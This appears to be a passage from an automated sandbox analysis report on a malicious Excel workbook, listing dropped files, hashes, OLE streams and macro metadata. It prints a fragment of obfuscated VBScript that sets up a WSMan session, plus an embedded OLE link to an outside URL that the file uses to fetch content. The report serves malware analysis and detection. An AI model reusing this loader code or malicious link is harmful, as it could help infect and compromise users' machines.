                                                                                                                                                                                                SHA-512:4C9B7579DA6C594D8511E8A75A5B7B812D938C2F37A9C5CF0943203950F112E93ACE9A3D210CC2B0B0C8CDFD4781A84E545295B766CCAA60A18509F78620D2A3
                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                Preview:..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .a.n.o.r.r.i.n.c.o.)..... . . . .d.i.m. .m.e.r.c.a.n.t.i.l.m.e.n.t.e.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .m.e.r.c.a.n.t.i.l.m.e.n.t.e..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .m.e.r.c.a.n.t.i.l.m.e.n.t.e.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.

                                                                                                                                                                                                C:\Users\user\Desktop\0001.xls (copy)

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 29 15:30:56 2024, Security: 1
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1133568
                                                                                                                                                                                                Entropy (8bit):7.984980640723459
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24576:Z7197zCaZ8H9UeSlhSSUr1852p5l2LDkUC0LkWU:pb98+dlhw1O2p5l2PkUHYWU
                                                                                                                                                                                                MD5:C720D23A3B842C0DD4D6121A64EE6069
                                                                                                                                                                                                SHA1:B22179CED6CBACBE1E6190B2BE5FF6CA801E18FE
                                                                                                                                                                                                SHA-256:14AAECD0A768E4E71C2090FE8B35D0741618C342A128E429C928BBB52C89FA8C
                                                                                                                                                                                                SHA-512:ED5F8E565726C947E8823535C82145D61CCC9D8284975EBC825F198F5645537AEA4C1E6AB378BB2DA4DFEC0BAC5BD9EED0081FE5171AF3C99799B453FBFDCB8C
                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                Preview:......................>...............................................................................................................w.......y........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                                                                                                                                                                                                C:\Users\user\Desktop\65330000

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 29 15:30:56 2024, Security: 1
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1133568
                                                                                                                                                                                                Entropy (8bit):7.984980640723459
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24576:Z7197zCaZ8H9UeSlhSSUr1852p5l2LDkUC0LkWU:pb98+dlhw1O2p5l2PkUHYWU
                                                                                                                                                                                                MD5:C720D23A3B842C0DD4D6121A64EE6069
                                                                                                                                                                                                SHA1:B22179CED6CBACBE1E6190B2BE5FF6CA801E18FE
                                                                                                                                                                                                SHA-256:14AAECD0A768E4E71C2090FE8B35D0741618C342A128E429C928BBB52C89FA8C
                                                                                                                                                                                                SHA-512:ED5F8E565726C947E8823535C82145D61CCC9D8284975EBC825F198F5645537AEA4C1E6AB378BB2DA4DFEC0BAC5BD9EED0081FE5171AF3C99799B453FBFDCB8C
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:......................>...............................................................................................................w.......y........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                                                                                                                                                                                                C:\Users\user\Desktop\65330000:Zone.Identifier

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):26
                                                                                                                                                                                                Entropy (8bit):3.95006375643621
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                                                MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                                                SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                                                SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                                                SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                                                Static File Info

                                                                                                                                                                                                General

                                                                                                                                                                                                File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 29 07:31:04 2024, Security: 1
                                                                                                                                                                                                Entropy (8bit):7.982512883547205
                                                                                                                                                                                                TrID:
                                                                                                                                                                                                • Microsoft Excel sheet (30009/1) 47.99%
                                                                                                                                                                                                • Microsoft Excel sheet (alternate) (24509/1) 39.20%
                                                                                                                                                                                                • Generic OLE2 / Multistream Compound File (8008/1) 12.81%
                                                                                                                                                                                                File name:0001.xls
                                                                                                                                                                                                File size:1'227'776 bytes
                                                                                                                                                                                                MD5:fb16f7b0fbcb2ae5d3b185392e4543a5
                                                                                                                                                                                                SHA1:f5e0e6247b2fd7ec74fc687ba0f63d8c05cc3fe0
                                                                                                                                                                                                SHA256:8f4cb3b0aaf0bdbbcc6d080385fab14ae0cf71d8e46770902ade7f5e4099b5da
                                                                                                                                                                                                SHA512:f20b0cd4b5030f517997783caa172e5415bfaefd38cf791c983948ae3a20967fe16840e283e6e4833f0d73d0ba7513f49e212f0bd6db7f1d9a1bf8e473668bb5
                                                                                                                                                                                                SSDEEP:24576:G1852p5l2JsykgMpRptnPskUcZnujf9VYdHk5Xqx5Q:G1O2p5l2oFpB0kUcIf9naT
                                                                                                                                                                                                TLSH:E0452341F98ADB0AEA537A3916A88B410B2CFD40BF15D4A77897331D99B6D7043C73AC
                                                                                                                                                                                                File Content Preview:........................>...............................................................................................................|.......~..............................................................................................................

                                                                                                                                                                                                File Icon

                                                                                                                                                                                                Icon Hash:276ea3a6a6b7bfbf

                                                                                                                                                                                                Static OLE Info

                                                                                                                                                                                                General

                                                                                                                                                                                                Document Type:OLE
                                                                                                                                                                                                Number of OLE Files:1

                                                                                                                                                                                                OLE File "0001.xls"

                                                                                                                                                                                                Indicators
                                                                                                                                                                                                Has Summary Info:
                                                                                                                                                                                                Application Name:Microsoft Excel
                                                                                                                                                                                                Encrypted Document:True
                                                                                                                                                                                                Contains Word Document Stream:False
                                                                                                                                                                                                Contains Workbook/Book Stream:True
                                                                                                                                                                                                Contains PowerPoint Document Stream:False
                                                                                                                                                                                                Contains Visio Document Stream:False
                                                                                                                                                                                                Contains ObjectPool Stream:False
                                                                                                                                                                                                Flash Objects Count:0
                                                                                                                                                                                                Contains VBA Macros:True
                                                                                                                                                                                                Summary
                                                                                                                                                                                                Code Page:1252
                                                                                                                                                                                                Author:
                                                                                                                                                                                                Last Saved By:
                                                                                                                                                                                                Create Time:2006-09-16 00:00:00
                                                                                                                                                                                                Last Saved Time:2024-10-29 07:31:04
                                                                                                                                                                                                Creating Application:Microsoft Excel
                                                                                                                                                                                                Security:1
                                                                                                                                                                                                Document Summary
                                                                                                                                                                                                Document Code Page:1252
                                                                                                                                                                                                Thumbnail Scaling Desired:False
                                                                                                                                                                                                Contains Dirty Links:False
                                                                                                                                                                                                Shared Document:False
                                                                                                                                                                                                Changed Hyperlinks:False
                                                                                                                                                                                                Application Version:786432

                                                                                                                                                                                                Streams with VBA

                                                                                                                                                                                                VBA File Name: Sheet1.cls, Stream Size: 977
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/Sheet1
                                                                                                                                                                                                VBA File Name:Sheet1.cls
                                                                                                                                                                                                Stream Size:977
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . { . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
                                                                                                                                                                                                Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 80 f3 7b ae 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                VBA Code
                                                                                                                                                                                                Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                                                                VBA File Name: Sheet2.cls, Stream Size: 977
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/Sheet2
                                                                                                                                                                                                VBA File Name:Sheet2.cls
                                                                                                                                                                                                Stream Size:977
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0 .
                                                                                                                                                                                                Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 80 f3 f5 c4 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                VBA Code
                                                                                                                                                                                                Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                                                                VBA File Name: Sheet3.cls, Stream Size: 977
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/Sheet3
                                                                                                                                                                                                VBA File Name:Sheet3.cls
                                                                                                                                                                                                Stream Size:977
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . d . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
                                                                                                                                                                                                Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 80 f3 08 64 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                VBA Code
                                                                                                                                                                                                Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                                                                VBA File Name: ThisWorkbook.cls, Stream Size: 985
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/ThisWorkbook
                                                                                                                                                                                                VBA File Name:ThisWorkbook.cls
                                                                                                                                                                                                Stream Size:985
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - . 0
                                                                                                                                                                                                Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 80 f3 e9 17 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                VBA Code
                                                                                                                                                                                                Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                                                                Streams

                                                                                                                                                                                                Stream Path: \x1CompObj, File Type: data, Stream Size: 114
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:\x1CompObj
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Stream Size:114
                                                                                                                                                                                                Entropy:4.25248375192737
                                                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                                                                                                                                                Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Stream Size:244
                                                                                                                                                                                                Entropy:2.889430592781307
                                                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
                                                                                                                                                                                                Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00
                                                                                                                                                                                                Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:\x5SummaryInformation
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Stream Size:200
                                                                                                                                                                                                Entropy:3.2603503175049817
                                                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . | . # . @ . . . . . ) . . . . . . . . .
                                                                                                                                                                                                Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00
                                                                                                                                                                                                Stream Path: MBD00D6412A/\x1CompObj, File Type: data, Stream Size: 99
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:MBD00D6412A/\x1CompObj
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Stream Size:99
                                                                                                                                                                                                Entropy:3.631242196770981
                                                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
                                                                                                                                                                                                Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                Stream Path: MBD00D6412A/Package, File Type: Microsoft Excel 2007+, Stream Size: 872415
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:MBD00D6412A/Package
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:Microsoft Excel 2007+
                                                                                                                                                                                                Stream Size:872415
                                                                                                                                                                                                Entropy:7.996779343394255
                                                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                                                Data ASCII:P K . . . . . . . . . . ! . h K x . . . Z . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                                                                Data Raw:50 4b 03 04 14 00 06 00 08 00 00 00 21 00 68 4b a5 78 f0 01 00 00 5a 09 00 00 13 00 d7 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d3 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                Stream Path: MBD00D6412B/\x1Ole, File Type: data, Stream Size: 488
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:MBD00D6412B/\x1Ole
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Stream Size:488
                                                                                                                                                                                                Entropy:4.5443467815557925
                                                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                                                Data ASCII:. . . . . . u . . . . . . . . . . . . f . . . y . . . K . b . . . h . t . t . p . s . : . / . / . a . c . e . s . s . o . . . r . u . n . / . W . P . 8 . t . f . j . ? . & . s . o . n . g . = . s . n . o . t . t . y . & . a . t . t . e . n . d . a . n . t . = . m . a . l . i . c . i . o . u . s . & . r . e . n . t . = . u . n . b . i . a . s . e . d . & . m . a . n . d . o . l . i . n . = . r . e . m . i . n . i . s . c . e . n . t . & . v . a . s . e . = . p . l . a . u . s . i . b . l . e . & . l . u . g
                                                                                                                                                                                                Data Raw:01 00 00 02 b5 80 85 1b 9b eb 14 75 00 00 00 00 00 00 00 00 00 00 00 00 66 01 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 62 01 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 63 00 65 00 73 00 73 00 6f 00 2e 00 72 00 75 00 6e 00 2f 00 57 00 50 00 38 00 74 00 66 00 6a 00 3f 00 26 00 73 00 6f 00 6e 00 67 00 3d 00 73 00 6e 00 6f 00 74 00 74 00 79 00 26 00 61 00
                                                                                                                                                                                                Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 331654
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:Workbook
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                                                                Stream Size:331654
                                                                                                                                                                                                Entropy:7.998572648353178
                                                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . / . 6 . . . . . . . . \\ z . % . M o 1 O ! ) ~ . . . . [ z U . V . . . . . . . . . @ . . . \\ . p . t [ ~ . . . Z _ ! . . ! G H . Y D < F . > U . B . G 0 1 3 . G & 7 . } N % N w . g i A T 5 . c . . O C $ . # . < B . . . . . a . . . . . . = . . . . Y J . . . . + . . . | + G } | . . . . M . . . . . u . . . . , . . . . 6 . . . . . . . . J = . . . J . L " ; ! @ . . . . . . . . b " . . . C . . . . . . . | . . . u 1 . . . w . . L m . M . : . S D . . . . q 1 . . . 1 . . . f G h
                                                                                                                                                                                                Data Raw:09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 d4 0a 5c e4 7a 03 25 cb dd e0 81 01 b7 af 4d 6f 31 4f b9 c5 21 29 fc e4 94 7e f8 a8 c4 f4 e4 16 7f 86 00 18 5b 7a 55 0d de ec fc 8b 56 ec 12 f4 e1 00 02 00 b0 04 c1 00 02 00 07 40 e2 00 00 00 5c 00 70 00 eb 74 8a 5b fb f3 7e 7f 2e e0 d5 81 5a b7 5f e1 ed 21 03 07 21 bc 47 48 d1 a1 59 44 fe b5
                                                                                                                                                                                                Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 525
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/PROJECT
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                Stream Size:525
                                                                                                                                                                                                Entropy:5.2349608556702
                                                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                                                Data ASCII:I D = " { 7 A E 9 3 6 5 8 - D 5 A 1 - 4 C 4 5 - 8 0 1 8 - 7 9 5 F B D 6 3 6 8 3 7 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 4 8 4 A 8 E 1 4 9 2 1 4 9 2 1 4 9
                                                                                                                                                                                                Data Raw:49 44 3d 22 7b 37 41 45 39 33 36 35 38 2d 44 35 41 31 2d 34 43 34 35 2d 38 30 31 38 2d 37 39 35 46 42 44 36 33 36 38 33 37 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30
                                                                                                                                                                                                Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/PROJECTwm
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Stream Size:104
                                                                                                                                                                                                Entropy:3.0488640812019017
                                                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                                                Data ASCII:T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
